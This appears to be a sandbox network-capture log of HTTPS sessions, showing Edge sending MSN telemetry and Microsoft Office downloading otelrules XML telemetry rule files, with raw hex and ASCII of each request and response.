2024-10-29 05:59:35 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49901	20.42.73.31	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:35 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730181573805&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5342 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=082392D97AE764340DA987FE7BEF6550; _EDGE_S=F=1&SID=1ED76538EB496C8B2564701FEA236DD8; _EDGE_V=1; msnup=; _C_ETH=1
2024-10-29 05:59:35 UTC	5342	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 32 39 54 30 35 3a 35 39 3a 33 33 2e 38 30 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 30 30 37 65 65 39 38 2d 62 64 65 33 2d 34 65 34 35 2d 61 33 34 64 2d 64 66 37 33 66 32 30 32 62 65 39 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 36 32 32 37 38 37 35 37 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-10-29T05:59:33.804Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"2007ee98-bde3-4e45-a34d-df73f202be99","epoch":"2622787570"},"app":{"loc
2024-10-29 05:59:35 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=78252d4d42cb4e409af6830633210b63&HASH=7825&LV=202410&V=4&LU=1730181575449; Domain=.microsoft.com; Expires=Wed, 29 Oct 2025 05:59:35 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=6906ca9858eb47ffbd6950fb17e4e1ff; Domain=.microsoft.com; Expires=Tue, 29 Oct 2024 06:29:35 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1644 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 29 Oct 2024 05:59:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49904	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:35 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:35 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055935Z-16849878b78wc6ln1zsrz6q9w800000005v0000000004xb6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:35 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49902	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:35 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:35 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055935Z-16849878b78g2m84h2v9sta2900000000510000000008edc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:35 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49903	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:35 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:35 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad4459d7-101e-007a-6a4c-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055935Z-16849878b78qfbkc5yywmsbg0c00000005s000000000b36r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:35 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49905	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:35 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 1e165ab9-d01e-007a-4b95-27f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055935Z-r197bdfb6b4jlq9hppzrdwabps000000017g00000000anqm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49906	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:35 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:35 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 0c0bb0c5-d01e-007a-4187-29f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055935Z-17c5cb586f6fqqst87nqkbsx1c00000004dg00000000dsyr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:35 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49907	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:36 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:36 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 670c0d8f-b01e-0002-01b6-291b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055936Z-15b8d89586fbmg6qpd9yf8zhm0000000013g000000003vru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:36 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49908	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:36 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: fe6c1954-001e-0082-5f6d-285880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055936Z-17c5cb586f6sqz6fff89etrx0800000005sg00000000br01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49909	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:36 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:36 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 6c7ab4fb-501e-0078-78bf-2706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055936Z-17c5cb586f6hhlf5mrwgq3erx800000007ag00000000ax2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:36 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49910	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:36 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:36 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 2fe3f320-d01e-0065-1a0d-29b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055936Z-r197bdfb6b4gx6v9pg74w9f47s0000000830000000006wuy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49911	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:36 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055936Z-16849878b787bfsh7zgp804my400000004tg00000000hx76 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
